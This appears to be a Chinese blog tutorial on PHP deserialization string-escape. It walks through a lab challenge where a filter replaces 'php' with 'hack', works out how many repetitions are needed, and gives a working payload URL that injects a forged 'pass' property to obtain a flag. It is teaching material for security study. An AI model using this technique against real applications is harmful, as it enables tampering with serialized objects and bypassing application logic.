全网最详细!小白必看!!php反序列化难点(字符串逃逸)

Dest1ny安全    2024年09月09日 15:18

今天也是php反序列化教程,是一个难点解析~,关于字符串逃逸!这是Dest1ny的第二篇文章,准备好了吗!

我叫Dest1ny,制作不易,求关注!

CLASS-1 什么是字符串逃逸?

我们先看正经的关于字符串逃逸:

PHP 反序列化漏洞中的字符串逃逸(String Escape)主要涉及在恶意输入的反序列化数据中操纵字符串,导致预期之外的行为。反序列化是将存储或传输的序列化数据转换回原始数据的过程。当反序列化未被安全处理时,攻击者可以利用漏洞注入恶意数据,使得代码执行或操作数据结构变得不可预测。

ok,也是一个字不想看。那我们直接上这期的题目,来看看怎么个事。

CLASS-2 今日例题!

这是我们今天要做的例题:

图片

大家可以先看一下这段代码在干嘛,我从上到下讲一下:

  1. 一个filter方法,是个有过滤功能的方法,把输入进来的字符串里的flag和php替换成hack。

  2. 一个test模版,里面有两个公共属性,user和pass,还有一个construct的魔法函数,这种魔法函数是在使用test模版新建一个对象的时候会触发。

  3. 给了一个可以用get接口去传参数,再用test模版新建了一个对象,再去序列化。

4. 再将序列化完的字符串进行过滤,查看是否有flag或者php并替换,最后再反序列化。

最后判断test新建对象里的属性pass的值是不是escaping,则会输出flag

这是注释版本:

图片

所以看完之后大家肯定说,那我直接让test里的pass里的值变成escaping就可以了吧,那大家记不记得我说过,这里有一个魔法函数,construct,只要源代码有新建test类的新对象,那必然要去执行construct!

图片

这里只让传user的值,我上哪去改pass啊??????

CLASS-3 逃逸来了!

图片

这个对于大家来说很容易看懂,如果还没啥概念,看我第一篇php反序列化文章就好。

序列化结果是这样的:

O:4:"test":2:{s:4:"user";s:4:"aaaa";s:4:"pass";s:4:"bbbb";}

这个都看得懂吧,那比如我稍微改了一下呢?

O:4:"test":2:{s:4:"user";s:12:"aaaa";s:4:"pass";s:4:"bbbb";}

问:这时候user的值是什么

答:aaaa";s:4:"pass

大家发现了什么,php好霸道,我把4变成12,他不管我后面是啥,直接给我吞到user的值里了。

大家看我这个过滤函数

图片

如果我序列化里有php,他会转换成hack??那我s:后面的数字变吗?

O:4:"test":2:{s:4:"user";s:15:"hackhackhackhackhack";s:4:"pass";s:8:"daydream";}";

图片

我故意去用php去代替hack,发现s后面的数字还是按照php的数量来的,然而hack替换了五次!

问:user的值是什么

答:hackhackhackhac ???

那我只要可以让string的值变得合理,是不是可以多去构造值呢?

图片

嘿嘿,我直接;}直接来个到这结束,整个字符串是什么样子呢?

s:83:"O:4:"test":2:{s:4:"user";s:18:"hackhackhackhackhack";}";s:4:"pass";s:8:"daydream";}";

因为我用了;}

所以最后结果是:

O:4:"test":2:{s:4:"user";s:18:"hackhackhackhackhack";}

直接改变结构了,但是这还不是很成功,我test有两个属性,我需要修改pass的值,所以是不是我只要控制好吞字符的数量就可以在只可以传user属性的时候能去修改pass的值!

CLASS-4 happy ending !

所以思路很清楚了

1. 我们理论上只能去修改user值

2. 题目需要我们去修改pass值

3. 我们发现可能有字符逃逸的可能

4. 去使用php和hack替换出现的字符数量的差异去构造序列化格式,在user的值里去再控制pass值!

我们理想状态是这样的:

O:4:"test":2:{s:4:"user";s:??:"这里不确定有多少hack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}";

然后因为提前断掉了。

所以最后的结果是:

O:4:"test":2:{s:4:"user";s:?:"?";s:4:"pass";s:8:"escaping";}

诶你看,就算把我标蓝的地方断掉了,可是test里还是两个属性,完美!

所以我们payload肯定有;s:4:"pass";s:8:"escaping";}这串字符,那我如何很完美让他构造在序列化里呢

要去计算一下

;s:4:"pass";s:8:"escaping";}   27个字符

那我设需要填入x个php,加上24个字符正好等于x个hack

3x + 27 = 4x

算出x为27

我们试一下输入27个php

图片

ok输出

O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}";

这里的hack把116个字符填满了,而且经过我们计算在最后一个hack之后加上";,让php觉得ok,已经结束了,其实我们帮助pass逃脱舒服,可以拿到我们想要的值了!

payload发一下

http://127.0.0.1:8088/class16/1.php?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp%22;s:4:%22pass%22;s:8:%22escaping%22;}

直接拿下flag

图片

惯例,来个例子:

我们想越狱 -> 发现狱警只会数人数不会查人脸 ->我们找了几个替死鬼在新的进监狱的人里混进来 -> 让他们代替我们坐牢 -> 只要他们不承认自己是替死鬼 -> 我们就是自由的

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值